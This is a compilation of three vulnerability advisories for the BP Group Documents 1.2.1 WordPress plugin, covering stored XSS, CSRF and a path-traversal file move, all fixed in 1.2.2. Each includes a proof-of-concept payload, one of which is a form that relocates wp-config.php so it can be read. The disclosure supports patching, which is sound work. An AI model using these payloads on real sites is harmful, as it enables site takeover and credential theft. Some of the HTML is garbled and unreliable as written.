Wordpress BP Group Documents Plugin 1.2.1 - Multiple Vulnerabilities

2014-02-19 18:05:04

Details
================
Software: BP Group Documents
Version: 1.2.1
Homepage: http://wordpress.org/plugins/bp-group-documents/
CVSS: 8 (High; AV:N/AC:L/Au:S/C:P/I:P/A:C)


Description
================
Stored XSS vulnerability in BP Group Documents 1.2.1

Vulnerability
================
“Display name” and “Description” fields are not escaped, meaning any
tags including script tags can be stored in them.

Proof of concept
================
Go to the upload form, select a document to upload, set the “Display
name&rdquo; to &ldquo;photograph of a cute puppy<scriptalert(&lsquo;xss&rsquo;)</script&rdquo; and
set the &ldquo;Description&rdquo; to &ldquo;this is an innocuous
description<scriptalert(&lsquo;xss again&rsquo;)</script&rdquo;.

Mitigations
================
Update to version 1.2.2.

Timeline
================

2013-09-26: Discovered
2013-09-30: Reported to [email protected]
2013-10-04: Fix released (1.2.2)


Discovered by:
================
Tom Adams


Second one:
https://security.dxw.com/advisories/csrf-vulnerability-in-bp-group-documents-1-2-1/
Details
================
Software: BP Group Documents
Version: 1.2.1
Homepage: http://wordpress.org/plugins/bp-group-documents/
CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:N/I:P/A:N)


Description
================
CSRF vulnerability in BP Group Documents 1.2.1

Vulnerability
================
An unauthenticated user can cause a logged in user to edit the name
and description of any existing group document. The fields are also
vulnerable to XSS.

Proof of concept
================
Assume we have a group with slug &ldquo;x&rdquo; and a group document with id 8:
<form method="POST" action="https://wp.ayumu/groups/x/documents/"
<input type="text" name="bp_group_documents_operation" value="edit"
<input type="text" name="bp_group_documents_id" value="8"
<input type="text" name="bp_group_documents_name"
value="<scriptalert(1)</script"
<input type="text" name="bp_group_documents_description" value="abc"
<input type="submit"
</form

Mitigations
================
Update to version 1.2.2.

Timeline
================

2013-09-26: Discovered
2013-09-30: Reported to [email protected]
2013-10-04: Fix released (1.2.2)


Discovered by:
================
Tom Adams

Third one:
https://security.dxw.com/advisories/moving-any-file-php-user-has-access-to-in-bp-group-documents-1-2-1/
Details
================
Software: BP Group Documents
Version: 1.2.1
Homepage: http://wordpress.org/plugins/bp-group-documents/
CVSS: 9 (High; AV:N/AC:L/Au:N/C:P/I:P/A:C)


Description
================
Moving any file PHP user has access to in BP Group Documents 1.2.1

Vulnerability
================
An admin user (or anybody, since there is a CSRF vulnerability in this
form) can move any file the PHP user has access to to a location
inside the uploads directory. From the uploads directory, they are
likely to be able to read the file.

Proof of concept
================
As a logged in admin, visit a page containing this form and submit it
(or add auto-submission, and cause a logged in admin to visit it):
<form method="POST"
action="http://localhost/wp-admin/options-general.php?page=bp-group-documents-settings"
<input name="group" value="1"
<input name="file" value="../../../../wp-config.php"
<input type="submit"
</form
This will cause the wp-config.php file to be moved to a location
within wp-content/uploads. In my case it was
wp-content/uploads/group-documents/1/1380203685-&hellip;&hellip;..wp-config.php. In
this example I broke a WordPress installation, leaving the site wide
open to another person to come in and do the &ldquo;famous five minute
install&rdquo;. There may also be handy config files laying around that you
could read by moving them to the web root.

Mitigations
================
Update to version 1.2.2.

Timeline
================

2013-09-26: Discovered
2013-09-30: Reported to [email protected]
2013-10-04: Fix released (1.2.2)


Discovered by:
================
Tom Adams

Fixes

No fixes

In order to submit a new fix you need to be registered.